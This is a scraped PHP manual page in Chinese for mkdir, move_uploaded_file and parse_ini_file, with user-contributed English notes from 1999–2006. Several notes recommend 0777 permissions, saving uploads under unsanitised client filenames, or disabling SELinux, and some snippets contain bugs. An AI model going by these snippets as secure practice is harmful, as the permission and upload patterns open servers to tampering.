       if(ftp_mkdir($connection, $newDir)) { // create directory
       ftp_site($connection, "CHMOD 777 $path/$newDir") or die("FTP SITE CMD failed.");
           return $newDir;
       } else {
           return false;
       }

   ftp_close($connection); // close connection
   }

}
FtpMkdir("path","dir");
mdap at dap dot ro
05-Apr-2005 05:26
at this example (from mkdir) :
<?php
// create directory through FTP connection
function FtpMkdir($path, $newDir) {

       $server='ftp.yourserver.com'; // ftp server
       $connection = ftp_connect($server); // connection

       // login to ftp server
       $user = "me";
       $pass = "password";
       $result = ftp_login($connection, $user, $pass);

   // check if connection was made
     if ((!$connection) || (!$result)) {
       return false;
       exit();
       } else {
         ftp_chdir($connection, $path); // go to destination dir
       if(ftp_mkdir($connection,$newDir)) { // create directory
           return $newDir;
       } else {
           return false;
       }
   ftp_close($conn_id); // close connection
   }

}
?>
i found a mistake at the last line before } :
 ftp_close($conn_id); // close connection
is not $conn_id is $connection
Protik Mukherjee
04-Mar-2005 01:29
mkdir, file rw, permission related notes for Fedora 3////
If you are using Fedora 3 and are facing permission problems, better check if SElinux is enabled on ur system. It add an additional layer of security and as a result PHP cant write to the folder eventhough it has 777 permissions. It took me almost a week to deal with this!

If you are not sure google for SElinux or 'disabling SELinux' and it may be the cure! Best of luck!
Aleks Peshkov
26-Feb-2005 09:18
function makeDirs($strPath, $mode = 0777) //creates directory tree recursively
{
   return is_dir($strPath) or ( makeDirs(dirname($strPath), $mode) and mkdir($strPath, $mode) );
}

The simpler is the better.
par dot sandgren at gmail dot com
11-Feb-2005 04:29
You might want to upload files into random named dir's, just to make it harder to guess the link. But still have some ID to know whats in there.

<?php

$dirLength = rand(30, 40);
       $projectID = $_POST['pid']; // ID from database perhaps?

       $rndName = "";
       for($i=0; $i<$dirLength; $i++)
       {
           $rnd = rand(1, 3);
           if($rnd == 1)
               $rndName = $rndName . chr(rand(97, 122));
           else if($rnd == 2)
               $rndName = $rndName . chr(rand(65, 90));
           else
               $rndName = $rndName . chr(rand(48, 57));
       }

       $dirName = $projectID . "-" . $rndName;
       mkdir($dirname);
?>
aidan at php dot net
03-Oct-2004 10:17
This function creates a directory structure recursively.

http://aidan.dotgeek.org/lib/?file=function.mkdirr.php
Han Van den Hoof
10-Nov-2003 02:28
If you're on a shared *nix server, a directory created through mkdir() will not be assigned to you, but to the user that your host's server or php process is running under, usually 'nobody', 'apache' or 'httpd'.

In practice, this means that you can create directories, even add files to them, but you can't delete the directory or its contents nor change permissions.

It is therefore advised to create directories through PHP's FTP API. Here's a function I wrote:

<?php
// create directory through FTP connection
function FtpMkdir($path, $newDir) {

       $server='ftp.yourserver.com'; // ftp server
       $connection = ftp_connect($server); // connection

       // login to ftp server
       $user = "me";
       $pass = "password";
       $result = ftp_login($connection, $user, $pass);

   // check if connection was made
     if ((!$connection) || (!$result)) {
       return false;
       exit();
       } else {
         ftp_chdir($connection, $path); // go to destination dir
       if(ftp_mkdir($connection,$newDir)) { // create directory
           return $newDir;
       } else {
           return false;
       }
   ftp_close($conn_id); // close connection
   }

}
?>

Hope this comes in handy for someone.
28-Jun-2003 07:00
You might notice that when you create a new directory using this code:

mkdir($dir, 0777);

The created folder actually has permissions of 0755, instead of the specified
0777. Why is this you ask? Because of umask(): http://www.php.net/umask

The default value of umask, at least on my setup, is 18. Which is 22 octal, or
0022. This means that when you use mkdir() to CHMOD the created folder to 0777,
PHP takes 0777 and substracts the current value of umask, in our case 0022, so
the result is 0755 - which is not what you wanted, probably.

The "fix" for this is simple, include this line:

$old_umask = umask(0);

Right before creating a folder with mkdir() to have the actual value you put be
used as the CHMOD. If you would like to return umask to its original value when
you're done, use this:

umask($old_umask);
aulbach at unter dot franken dot de
23-Jul-1999 05:37
This is an annotation from Stig Bakken:

The mode on your directory is affected by your current umask.  It will end
up having (<mkdir-mode> and (not <umask>)).  If you want to create one
that is publicly readable, do something like this:

<?php
$oldumask = umask(0);
mkdir('mydir', 0777); // or even 01777 so you get the sticky bit set
umask($oldumask);
?>
add a note add a note

后退 | 起点 | 前进
lstat | 上一级 | move_uploaded_file


move_uploaded_file

(PHP 4 >= 4.0.3, PHP 5)

move_uploaded_file -- 将上传的文件移动到新位置

说明

bool move_uploaded_file ( string filename, string destination )

本函数检查并确保由 filename 指定的文件是合法的上传文件（即通过 PHP 的 HTTP POST 上传机制所上传的）。如果文件合法，则将其移动为由 destination 指定的文件。

如果 filename 不是合法的上传文件，不会出现任何操作，move_uploaded_file() 将返回 FALSE。

如果 filename 是合法的上传文件，但出于某些原因无法移动，不会出现任何操作，move_uploaded_file() 将返回 FALSE。此外还会发出一条警告。

这种检查显得格外重要，如果上传的文件有可能会造成对用户或本系统的其他用户显示其内容的话。

注: move_uploaded_file() 对安全模式和 open_basedir 都是敏感的。不过，限制只针对 destination 路径，因为允许移动上传的文件名 filename 可能会与这些限制产生冲突。move_uploaded_file() 仅作用于通过 PHP 上传的文件以确保这个操作的安全性。

警告

如果目标文件已经存在，将会被覆盖。

参见 is_uploaded_file()，以及文件上传处理一章中的简单使用例子。

add a note add a note User Contributed Notes
sergeygrinev at mail dot ru
21-Apr-2006 05:04
small typo:

$fulldest = $dest.$newfilename;

show be

$fulldest = $dest.$filename;

or you would have infinite loop.
Zarel
14-Apr-2006 09:12
nouncad at mayetlite dot com posted a function that uploaded a file, and would rename it if it already existed, to filename[n].ext

It only worked for files with extensions exactly three letters long, so I fixed that (and made a few other improvements while I was at it).

<?php
// Usage: uploadfile($_FILE['file']['name'],'temp/',$_FILE['file']['tmp_name'])
function uploadfile($origin, $dest, $tmp_name)
{
  $origin = strtolower(basename($origin));
  $fulldest = $dest.$origin;
  $filename = $origin;
  for ($i=1; file_exists($fulldest); $i++)
  {
   $fileext = (strpos($origin,'.')===false?'':'.'.substr(strrchr($origin, "."), 1));
   $filename = substr($origin, 0, strlen($origin)-strlen($fileext)).'['.$i.']'.$fileext;
   $fulldest = $dest.$newfilename;
  }

  if (move_uploaded_file($tmp_name, $fulldest))
   return $filename;
  return false;
}
?>
jessy dot diamondman at gmail dot com
06-Apr-2006 12:29
I am pretty new, and am having upload problems myself, but I think I can help out ffproberen2 at dodgeit dot com with his premission denied errors. I had these two, and I had to change the upload directory, not the tmp_upload_dir or what ever it is called. The move_uploaded_file meathod takes an upload location as the last parameter. I am running a bundled package of Apache, Php, mySQL and so on, and on mine, specifing a directory of '' will upload it into C:\Program Files\xampp\apache (my PC is my experimental server, I will get linux, but got to obtain it and internet cuts off after 196mb so can't download it) even though php file is in C:\Program Files\xampp\htdocs\xampp\jessyexum\upload_client.php.

This is a code that I found and then modified, hope it can help. It dosn't always upload every file type giving me an error #2.

<?php
$uploaddir = '';
$uploadfile = $uploaddir . basename($_FILES['upfile']['name']);
echo '<pre>';
if (move_uploaded_file($_FILES['upfile']['tmp_name'], $uploadfile)) {
   echo "File is valid, and was successfully uploaded.\n";
} else {
   echo "Possible file upload attack!\n";
}
echo 'Here is some more debugging info:';
print_r($_FILES);
print "</pre>";
?>
ffproberen2 at dodgeit dot com
05-Apr-2006 06:02
On windows I made the directory writable, by changing the Apache httpd.conf file.

The problem I had, was with the upload directory. The move_uploaded_file produced an error like: failed to open stream: Permission denied.

I changed my php.ini to specify an upload directory:
  upload_tmp_dir = "d:/temp/php/uploads/"

and I added the following in the Apache hpptd.conf file:

  <Directory "D:/temp/php/uploads">
   Options None
   AllowOverride None
   Order allow,deny
   Allow from all
  </Directory>

restarted Apache, and the upload succeeded.
j dot m dot thomas at NOSPAM dot blueyonder dot co dot uk
16-Feb-2006 04:26
To retrieve the file extension, and various other information about the path, it is easiest to use the pathinfo function.

<?php
$path_parts = pathinfo('/www/htdocs/index.html');

echo $path_parts['dirname'], "\n";
echo $path_parts['basename'], "\n";
echo $path_parts['extension'], "\n";
?>

Would produce:

/www/htdocs
index.html
html

http://uk.php.net/manual/en/function.pathinfo.php
adam at darkhousemedia dot com
03-Feb-2006 02:35
To retrieve the file extension, I think this example makes more sense than the one below.

$ext = explode(".", $file);
$ext = array_pop($ext);

It doesn't have to count() the array and then subtract 1 to point to the proper array element, it simply isolates the last element of the array, and discards everything else.
the dot only dot storm at gmail dot com
03-Feb-2006 04:02
In addition to the file extension checking. A simply way of getting the extension (regardless of size):

$efilename = explode('.', $filename);
$ext = $efilename[count($efilename) - 1];

Note:
This is *could* cause a ~0.01s delay because you're not using COUNT() to initialize a variable by itself. Refer to googling similar: php count function performance
calamitoso at gmail dot com
01-Feb-2006 03:10
to separate (for example) images from other file types among the uploaded files you can check the MIME type also (thus making the file extension check unnecessary)

$temp = strpos($_FILES["pic"]["type"], "image");
if ($rep===FALSE){
   //the strpos function will return a boolean "false" ONLY if the needle string is not found within the haystack
   echo "is not an image";
}else{
   echo "is an image";
}
mancow at macfilez dot net
10-Jan-2006 01:31
To nouncad at mayetlite dot com,

That function will work fine for files with a 3-character file extension.  However, it is worth noting that there are valid, registered file extensions that are longer than 3 characters.  For example, a JPEG file can be denoted by *.jpg (and others), but it can also have *.jpeg as a valid extension.  Check out http://www.filext.com/ for a good reference of file extensions.

The best bet to me would be parsing the uploaded file's name ($_FILES['uploadedfile']['name']) based on the presence of dots.  Another wrench in the gears:  a file can have dots in the filename.  That's easy enough to handle -- just explode() the file name and hope that the last element in the array it gives you is the file extension (you can always validate it if you're so inclined).  Then just piece it together in a string accordingly by stepping through the array (don't forget to add those dots back to where they were!), appending a guaranteed unique string of characters (or enumerate it like you were doing, keeping track via a loop), and finally tacking on the file extension.

You may have other mechanisms for verifying a file's extension, such as a preg_match on the whole name, using something like "/\\.(gif|jpg|jpeg|png|bmp)$/i" (more can, of course, be added if you so desire) for the most common types of images found on the web.

For blindly guaranteeing an uploaded file will be uniquely named, this seems like a fantastic way to go.  Enjoy!
AT-HE (at_he AT hotm4il DOT com)
16-Dec-2005 02:28
---------
Note that post_max_size also needs to be considered, by default it is 8M. I raised my upload_max_filesize to 20M and was wondering why 10M uploads weren't working...

r: It could be because of your max execution time.
----------

try changing the value of both post_max_size and upload_max_filesize
nouncad at mayetlite dot com
14-Dec-2005 09:30
Great!! my first note here...

This function upload a file.
If file exist, create a copy as "filename[n].ext"

<?php
function subirFichero($origen, $destinoDir, $ftemporal) {
   $origen = strtolower(basename($origen));

   $destinoFull = $destinoDir.$origen;
   $frand = $origen;
   $i = 1;

   while (file_exists( $destinoFull )) {
       $file_name        = substr($origen, 0, strlen($origen)-4);
       $file_extension  = substr($origen, strlen($origen)-4, strlen($origen));
       $frand = $file_name."[$i]".$file_extension;
       $destinoFull = $destinoDir.$frand;
       $i++;
   }

   if (move_uploaded_file($ftemporal, $destinoFull))    return $frand;
   else                                                return "0";
}
?>
ineedmynetwork.com
08-Nov-2005 05:27
Microsoft returns image/pjpeg not image/jpg when using $_FILES['imageName']['type'];
albert
08-Nov-2005 04:44
move_uploaded_file()'s return codes are not allways obious !

Unable to move '/var/tmp/phpuuAVJv' to '/home/me/website.com/upload/images/hello.png'

will apear if your disk is full, or the webserver (www user) exeeded it's disk qouta. (probably some others)

i dont know if its a bug (just not iplemented) or a feature (to hide from 3rd parties details about the system or about the specific error) ?

it happend to me that after several months of successful operation, the disk filled up and qouta exeeded.

it took me long time, finding out why all the sudden my scripts didnt work properly anymore.
05-Nov-2005 07:56
[quote]
Note that post_max_size also needs to be considered, by default it is 8M. I raised my upload_max_filesize to 20M and was wondering why 10M uploads weren't working...
[/quote]

It could be because of your max execution time.
29-Oct-2005 11:44
Note that post_max_size also needs to be considered, by default it is 8M. I raised my upload_max_filesize to 20M and was wondering why 10M uploads weren't working...
jest3r at mtonic dot net
20-Oct-2005 12:10
It seems that move_uploaded_file use the GROUP permissions of the parent directory of the tmp file location, whereas a simple "copy" uses the group of the apache process. This could create a security nighmare if your tmp file location is owned by root:wheel
mikelone
06-Sep-2005 11:46
If the user try to upload a too bigger file then the upload procedure will fail even if u have established an error message.
How to avoid this problem? there's my solution:

(max_file_size = 2,50 MB)

$fsize = $_FILES["userfile"]["size"];

if($fsize == 0 || $fsize > 2621000) exit("keep the filesize under 2,50MB!!");

When the size is bigger than the MAX_FILE_SIZE field, the value of $fsize is equal to 0 (zero) ......
espiao at gmail dot com
27-Jul-2005 10:25
/**
 * This function moves the archives and directoryes of a directory of
 * origin for a directory destination being able replace them or not.
 **/

function mvdir($oldDir, $newDir, $replaceFiles = true) {

   if ($oldDir == $newDir) {
       trigger_error("Destination directory is equal of origin.");
       return false;
   }

   if (!($tmpDir = opendir($oldDir))) {
       trigger_error("It was not possible to open origin directory.");
       return false;
   }

   if (!is_dir($newDir)) {
       trigger_error("It was not possible to open destination directory.");
       return false;
   }

   while (($file = readdir($tmpDir)) !== false) {

       if (($file != ".") && ($file !== "..")) {

           $oldFileWithDir = $oldDir . $file;
           $newFileWithDir = $newDir . $file;

           if (is_dir($oldFileWithDir)) {

               @mkdir($newFileWithDir."/", 0777);
               @mvdir($oldFileWithDir."/", $newFileWithDir."/", $replaceFiles);
               @rmdir($oldFileWithDir);

           }
           else {
               if (file_exists($newFileWithDir)) {
                   if (!$replaceFiles) {

                       @unlink($oldFileWithDir);
                       continue;

                   }
               }

               @unlink($newFileWithDir);
               @copy($oldFileWithDir, $newFileWithDir);
               @chmod($newFileWithDir, 0777);
               @unlink($oldFileWithDir);

           }
       }
   }

   return true;

}

/**
 * This is an example of move with replace files on destination folder if
 * exists files with the same names on destionatio folder
 **/
mvdir("/var/www/example/", "/var/www/other_folder/");

/**
 * This is an example of move without replace files on destination
 * folder if  exists files with the same names on destionatio folder
 **/
mvdir("/var/www/example/", "/var/www/other_folder/", false);
Darrell
19-May-2005 05:51
move_uploaded_file apparently uses the root of the Apache installation (e.g. "Apache Group\Apache2" under Windows) as the upload location if relative pathnames are used.

For example,
$ftmp = $_FILES['userfile']['tmp_name'];
$fname = $_FILES['userfile']['name'];
move_uploaded_file($ftmp, $fname);

moves the file to
"Apache Group\Apache2\$fname";

In contrast, other file/directory related functions use the current directory of the php script as the offset for relative pathnames.  So, for example, if the command

mkdir('tmp');

is called from 'Apache Group\Apache2\htdocs\testpages\upload.php', the result is to create
'Apache Group\Apache2\htdocs\testpages\tmp'

On the other hand, if 'mkdir' is called just before 'move_uploaded_file', the behavior changes.  The commands,

mkdir('tmp');
move_uploaded_file($ftmp, $fname);

used together result in

"Apache Group\Apache2\htdocs\testpages\tmp\$fname"

being created.  Wonder if this is a bug or a feature.

Darrell
andrew@euperia,com
05-Apr-2005 05:29
Instead of using chdir or chmod 0777 a safer alternative to move_uploaded_files is to use PHP's ftp functions to move the file into a web dir.

1. Make ftp connection to 127.0.0.1 with the correct username and password.
2. ftp_chdir to the required directory.
3. ftp_put ($_FILES['myfile']['tmp_name'], $finalfilename);
4. ftp quit.
richardNO at SPAMbesite dot nl
11-Mar-2005 08:32
Creating the dir with mkdir from php is a security risk too. Everyone who can run a php script on the server can write a script to mess with the dir.
user at php dot net
01-Mar-2005 06:54
Giving the directory 777 permission is not a good idea for security reasons, it would be better to create the directory using "mkdir()".

That will make php user (usually "nobody") the owner of the directory, and permissions will not be a problem.
subway
17-Feb-2005 06:18
Don't forget to set chmod to 777 for the directory to which you want to move the file.
Otherwise you will maybe get "failed to open stream: Permission denied in ..."!
Michel S
17-Feb-2005 01:41
I once had a problem with this function. File was uploaded correctly, but I still had to chmod the file afterwards. It could not be used otherwise.

Michel S
allan666 at NOSPAM dot gmail dot com
17-Dec-2004 02:35
On the Fedora Core 3 Linux distribution, you may get a "failed to open stream: Permission denied in ..." message. I fact changing the permission of the directory will not work (even if you set to 0777). It is because of the new SELinux kernel that allow apache user to write only in /tmp dir (I think). In order to solve the problem you must to disable the SELinux (at least for apache service) to allow the server to write in other directories. To do that, run the system-config-securitylevel app and disable the SE to apache service. Reboot your system and continue your work. Hope it helps!
php at f00n dot com
04-Jul-2004 04:17
If you are building an intranet framework and use NAT/Routing heed the following advice.

If you want to move uploaded files to an FTP server you cannot use the ftp wrapper (ie. 'ftp://user:pass@ftpserver/') as part of your move_uploaded_file() action.  This is due to the wrapper only using passive mode with ftp.

The only workaround is using the ftp functions (may not be compiled by default with *nix but is by default with windows).
froid_nordik at sympatico dot ca
05-Jun-2004 12:26
Make sure the directory you are moving the file to exists before using this command.
sauron at nospam on morannon dot org
08-Mar-2004 09:20
An extension only does not really tell you what type of file it really is. I can easily rename a .jpg file to a .zip file and make the server think it is a ZIP file with webmaster kobrasrealm's code.

A better way is to use the Linux utility "file" to determine the file type. Although I'm aware that some users might use Windows on their webservers, I thought it's worth  mentioning the utility here. Using the backtick operators and preg_matches on the output, you can easily determine the file type safely, and fix the extension when necessary.
mail at johan dot it
29-Feb-2004 06:14
Warning: If you save a md5_file hash in a database to keep record of uploaded files, which is usefull to prevent users from uploading the same file twice, be aware that after using move_uploaded_file the md5_file hash changes! And you are unable to find the corresponding hash and delete it in the database, when a file is deleted.
mina86 at tlen dot pl
08-Dec-2003 07:03
Hey! Why not using strrchr() to get file  extension:
<?php $ext = strrchr($_FILES['file']['name'], '.'); ?>
or to get it without '.' at the begining:
<?php $ext = substr(strrchr($_FILES['file']['name'], '.'), 1); ?>

If you want to update file without any strang characters you can use:
<?php
move_uploaded_file(
  $_FILES["file"]["tmp_name"],
  $dir . preg_replace('/[^a-z0-9_\-\.]/i', '_', $_FILES["file"]["name"])
);
?>
wolke74 at web dot de
19-Nov-2003 01:02
French and English filenames --- as it is not forbidden -- often have an apostrophy, for instance "That's advertisement paper.doc" or "Les aventures d'Alice dans le pays du miracle.doc". However, uploading such files can run into trouble.

So you can write, if the posted file had been marked by myfile .

if(!move_uploaded_file($_FILES["myfile"]["tmp_name"],
rawurlencode($mydir.$_FILES["myfile"]["name"]))
{
     echo "Something is wrong with the file";
     exit;
}
09-Nov-2003 11:54
The example to find file extension bellow is quite confusing and its using to much code for a much simpler solution. Which is in example:

$file_parts = pathinfo('dir/' . $_FILES['file']['name']);
$file_extension = strtolower($file_parts['extension']);

The 'dir/' part is only to get a valid path.
www at w8c dot com
09-Oct-2003 03:03
function upload($filedir,$source,$source_name,$up_flag,$lastname)
{
   if (!file_exists($filedir))
   {
       mkdir($filedir,0777);
   }
   @chmod($filedir,0777);
   if (!$lastname)
   {
       $lastname=$source_name;
   }
   if (file_exists("$filedir/$lastname"))
   {
       if ($up_flag=="y")
       {
           @unlink($filedir/$lastname);
           @move_uploaded_file($source,"$filedir/$lastname");
           echo "$source_name OK<br>";
       }
       else
       echo "$source_name ...<br>";
   }
   else
   {
       @move_uploaded_file($source,"$filedir/$lastname");
       echo "$source_name OK<br>";
   }
}
allen at brooker dot gb dot net
12-Feb-2003 06:48
The first comment totally threw me off. Under the 'new regime', the 'string filename' is $_FILES['userfile']['tmp_name']

Also note that the 'string destination' should be the full path and filename. As long as your server isnt using virtual hosting, you should be able to use $_SERVER['DOCUMENT_ROOT'] . "path/within/website". This'll save hours of hassle trying to get sometimes ignorant ISPs to give you your full and 'no symlinks' path.

Allen
add a note add a note

后退 | 起点 | 前进
mkdir | 上一级 | parse_ini_file


parse_ini_file

(PHP 4, PHP 5)

parse_ini_file -- 解析一个配置文件

说明

array parse_ini_file ( string filename [, bool process_sections] )

parse_ini_file() 载入一个由 filename 指定的 ini 文件，并将其中的设置作为一个联合数组返回。如果将最后的 process_sections 参数设为 TRUE，将得到一个多维数组，包括了配置文件中每一节的名称和设置。process_sections 的默认值是 FALSE。

注: 本函数和 php.ini 文件没有关系，该文件在运行脚本时就已经处理过了。本函数可以用来读取你自己的应用程序的配置文件。

注: 如果 ini 文件中的值包含任何非字母数字的字符，需要将其括在双引号中（"）。

注: 自 PHP 4.2.1 其本函数也受到安全模式和 open_basedir 的影响。

注: 自 PHP 5.0 版本开始，该函数也处理选项值内的新行。

注: 有些保留字不能作为 ini 文件中的键名，包括：null，yes，no，true 和 false。值为 null，no 和 false 等效于 ""，值为 yes 和 true 等效于 "1"。字符 |&~![()" 也不能用在键名的任何地方，而且这些字符在选项值中有着特殊的意义。

ini 文件的结构和 php.ini 的相似。

常量也可以在 ini 文件中被解析，因此如果在运行 parse_ini_file() 之前定义了常量作为 ini 的值，将会被集成到结果中去。只有 ini 的值会被求值。例如：

例子 1. sample.ini 的内容

; This is a sample configuration file
; Comments start with ';', as in php.ini

[first_section]
one = 1
five = 5
animal = BIRD

[second_section]
path = /usr/local/bin
URL = "http://www.example.com/~username"

例子 2. parse_ini_file() 例子

<?php

define('BIRD', 'Dodo bird');

// Parse without sections
$ini_array = parse_ini_file("sample.ini");
print_r($ini_array);

// Parse with sections
$ini_array = parse_ini_file("sample.ini", true);
print_r($ini_array);

?>

上例将输出：

Array
(
    [one] => 1
    [five] => 5
    [animal] => Dodo bird
    [path] => /usr/local/bin
    [URL] => http://www.example.com/~username
)
Array
(
    [first_section] => Array
        (
            [one] => 1
            [five] => 5
            [animal] = Dodo bird
        )

    [second_section] => Array
        (
            [path] => /usr/local/bin
            [URL] => http://www.example.com/~username
        )

)

由数字组成的键名和小节名会被 PHP 当作整数来处理，因此以 0 开头的数字会被当作八进制而以 0x 开头的会被当作十六进制。

add a note add a note User Contributed Notes
19-Apr-2006 03:45
upgrade of "mauder[remove] at [remove]gmail[remove] dot com" idea of hiding ini content from being seen.

file.ini.php

first line:
;<?/*

last line:
;*/?>

will result ";" in browser, not "pharse error: (...)".
sam at viveka dot net dot au
24-Mar-2006 12:27
In addition to the note that "Parsing an ini file stops at a key named 'none'".

Values of 'none' do not return as the string 'none'. They return nothing at all, however this does not halt the processing of the ini file.
tertillian at yahoo dot com
22-Feb-2006 09:12
I ran into a snag where I wanted to have an INI file for a library. All attempts to parse the file from the library, apart from hardcoded path qualification, failed because it couldn't find the INI file. Some of the php functions will optionally use the include path. Adding this to the parse_ini_file() function would permit its use in this way and would encourage not putting INI files in document root.
nbraczek at bsds dot de
16-Feb-2006 08:29
Beside the mentioned reserved words 'null', 'yes', 'no', 'true', and 'false', also 'none' seems to be a reserved word. Parsing an ini file stops at a key named 'none'.
mauder[remove] at [remove]gmail[remove] dot com
14-Feb-2006 08:31
Be careful if you put any .ini file in your readable directories, if somebody would know the name (e.g. if your application is widely used), the webserver might return it as plain text.

For example : your database username and password could be exposed, if it is stored in that file !

To prevent this from happening :
- give the file .php extension :  "my.ini.php"
- put ';<?php' (without quotes and without X between X and php) on first line
- put ';?>' on last line

The server would run the ini file as being PHP-code, but will do nothing due to bad syntax, preventing the content from being exosed.
On the other hand, it is still a valid .ini file...

HTH !
ahull at clydemarine dot com
26-Jan-2006 05:33
I had a look at the code for function parse_ini_file_quotes_safe(
and added in the ability to preserve comments.

<?php
// Parse a file into an array following the rules for ini files as follows
//
// Looks for [] characters to mark section headings and = chars to mark the break between the key and its values.
// Also keeps comments delimited by any of the characters in $comments_chars in the array numbered as they are found.
//
// Note writing back the array will necessarily move the comments to the beginning of the section,
// even if they are found within
// a section simply because there is no exact place-holder information stored in the array.
// This could of course be a problem.
// Also the Write array routine will have to be modified
// to correctly write back comments otherwise they will appear as blank sections called [comment{x}]

function parse_ini_file_quotes_safe($f)
{
 $newline = "<br>";
 $null = "";
 $r=$null;
 $first_char = "";
 $sec=$null;
 $comment_chars="/*<;#?>";
 $num_comments = "0";
 $header_section = "";

 //Read to end of file with the newlines still attached into $f
 $f=@file($f);
 // Process all lines from 0 to count($f)
 for ($i=0;$i<@count($f);$i++)
 {
  $newsec=0;
  $w=@trim($f[$i]);
  $first_char = @substr($w,0,1);
  if ($w)
  {
   if ((!$r) or ($sec))
   {
   // Look for [] chars round section headings
   if ((@substr($w,0,1)=="[") and (@substr($w,-1,1))=="]") {$sec=@substr($w,1,@strlen($w)-2);$newsec=1;}
   // Look for comments and number into array
   if ((stristr($comment_chars, $first_char) === FALSE)) {} else {$sec=$w;$k="Comment".$num_comments;$num_comments = $num_comments +1;$v=$w;$newsec=1;$r[$k]=$v;echo "comment".$w.$newline;}
   //
   }
   if (!$newsec)
   {
   //
   // Look for the = char to allow us to split the section into key and value
   $w=@explode("=",$w);$k=@trim($w[0]);unset($w[0]); $v=@trim(@implode("=",$w));
   // look for the new lines
   if ((@substr($v,0,1)=="\"") and (@substr($v,-1,1)=="\"")) {$v=@substr($v,1,@strlen($v)-2);}
   if ($sec) {$r[$sec][$k]=$v;} else {$r[$k]=$v;}
   }
  }
 }
 return $r;
}

?>
dewi at morganalley dot net
22-Oct-2005 02:45
[A feature request for a third parameter, to turn off the following insecure behaviour has been submitted: http://bugs.php.net/bug.php?id=34949 - I'm just documenting it here so that people are aware that they need to take the insecurity of the current behaviour into consideration when programming.]

Be warned that, in its current (2-argument) form, this function should be avoided when processing user-provided ini files, as data leakage may occur if the user provides an ini file with unquoted string values.

To avoid this problem, it's vital that if your program stores any sensitive data in constants, that you either pre-scan the ini file for unquoted strings, or that you do not use this function.

A suitable pre-parse parser might be as follows.

This assumes that there are no non-word (a-zA-Z0-9_) characters in your keys, and minimises whitespace.

It tries to convert intelligently, like so:
   value1 = value  ; this is a comment
   value2 = value; with semicolon in
to
   value1 = "value"  ; this is a comment
   value2 = "value; with semicolon in"

<?php
$file = file_get_contents('user_provided.ini');

$file2 = preg_replace('/^
(\s*\w+\s*=\s*)        # Part \1 - the key and initial whitespace.
(                      # Part \2 - the value to be quoted
  (?:(?!\s;)[^"\r\n])  # Anything but \r, ", \s;, \n
         *?            # As little as possible of that, minimise whitespace.
)
(                      # Part \3 - everything after the value
  \s*                  # Optional whitespace.
  (?:\s;.*)?          # Optional comment preceded by a space
)
$/mx', '\1"\2"\3', $file);

file_put_contents('user_provided.ini2', $file2);
?>
Julio Lpez Garbayo <sinedeo at gmail dot com>
23-Sep-2005 04:53
I wrote a replacement function with following changes:
-It allows quotes and double quotes.
-It detects wether your .ini file has sections or not.
-It will read until eof in any case, even if a line contains errors.

I know it can be improved a lot, so feel free to work on it and, please, notify me if you do.

<?php
function parse_ini_file_quotes_safe($f)
{
 $r=$null;
 $sec=$null;
 $f=@file($f);
 for ($i=0;$i<@count($f);$i++)
 {
  $newsec=0;
  $w=@trim($f[$i]);
  if ($w)
  {
   if ((!$r) or ($sec))
   {
   if ((@substr($w,0,1)=="[") and (@substr($w,-1,1))=="]") {$sec=@substr($w,1,@strlen($w)-2);$newsec=1;}
   }
   if (!$newsec)
   {
   $w=@explode("=",$w);$k=@trim($w[0]);unset($w[0]); $v=@trim(@implode("=",$w));
   if ((@substr($v,0,1)=="\"") and (@substr($v,-1,1)=="\"")) {$v=@substr($v,1,@strlen($v)-2);}
   if ($sec) {$r[$sec][$k]=$v;} else {$r[$k]=$v;}
   }
  }
 }
 return $r;
}
?>
ludvig dot ericson at gmail dot com
13-Sep-2005 11:42
kieran dot huggins at rogers dot com:
You can just use their HEX equivalent, like so:
0x20
wickedfather at hotmail dot com
13-Sep-2005 03:19
Slight modification of write_ini_file that will keep values global in an array if they appear after an array

<?php function write_ini_file($path, $assoc_array)
{
   $content = '';
   $sections = '';

   foreach ($assoc_array as $key => $item)
   {
       if (is_array($item))
       {
           $sections .= "\n[{$key}]\n";
           foreach ($item as $key2 => $item2)
           {
               if (is_numeric($item2) || is_bool($item2))
                   $sections .= "{$key2} = {$item2}\n";
               else
                   $sections .= "{$key2} = \"{$item2}\"\n";
           }
       }
       else
       {
           if(is_numeric($item) || is_bool($item))
               $content .= "{$key} = {$item}\n";
           else
               $content .= "{$key} = \"{$item}\"\n";
       }
   }

   $content .= $sections;

   if (!$handle = fopen($path, 'w'))
   {
       return false;
   }

   if (!fwrite($handle, $content))
   {
       return false;
   }

   fclose($handle);
   return true;
} ?>
rossetti at multilab2000 dot it
21-Jul-2005 05:19
I have modified the code to delete double quote from values.

if (substr($value, 0, 1) == '"' && substr($value, -1) == '"') { $value = substr($value, 1, -1); }
christian at thebartels dot de
14-Jul-2005 01:12
@phpcoder:

there is another small bug in your code. in readINIfile the line
if (substr($value, 1, 1) == '"' && substr($value, -1, 1) == '"') {$value = substr($value, 1, -1); }

should be

if (substr($value, 0, 1) == '"' && substr($value, -1, 1) == '"') {$value = substr($value, 1, -1); }

(note the 0 in the first substr statement)
otherwise if you read an ini file, save it and read again the items of the array will have " around them.
dimk at pisem dot net
14-Jul-2005 12:33
Class to access ini values at format "section_name.property", for example $myconf->get("system.name") returns a property "name" in section "system":

class Settings {

var $properties = array();

   function Settings() {
       $this->properties = parse_ini_file(_SETTINGS_FILE, true);
   }

   function get($name) {
       if(strpos($name, ".")) {
           list($section_name, $property) = explode(".", $name);
           $section =& $this->properties[$section_name];
           $name = $property;
       } else {
           $section =& $properties;
       }

       if(is_array($section) && isset($section[$name])) {
           return $section[$name];
       }
       return false;
   }

}
dreamscape
25-Jun-2005 12:10
I handy function to allow values with new lines if you are PHP4, is the following:

<?php
function prepareIniNl($string) {
   return preg_replace("/(\r\n|\n|\r)/", "\\n", $string);
}
?>

Now, when writing your INI file, parse the value through the function and it will turn for example:

Value line 1
Value line 2

Into literally:

Value line 1\nValue line 2

Which is stored as a single line in the INI file.  And when you read the INI file back into PHP, the \n will be parsed and you're value will be back to:

Value line 1
Value line 2
phpcoder at cyberpimp dot pimpdomain dot com
16-Jun-2005 10:55
Oops.  There is a small bug in my writeINIfile code example submitted on  13-Jan-2005 11:31.  How embarassing.  The incorrect statement is:

  if (substr($comtext, -1, 1)==$commentchar && substr($comtext, -1, 1)!=$commentchar) {

Note that this is a logic error and the statement will never execute.  It should have been written as:

  if (substr($comtext, -1, 1)==$commentchar && substr($commenttext, -1, 1)!=$commentchar) {

Notice how in the corrected statement, the string passed to the second substr() function call is $commenttext and not $comtext.

The purpose of this statement was to determine when to strip off the extra comment character that inadvertently gets appended to the comment text block by the previous compounded str_replace code (to prepend comment characters on each line of the comment text block) when the original comment text ends with a new-line sequence.
dawalama at gmail dot com
20-May-2005 11:09
/*
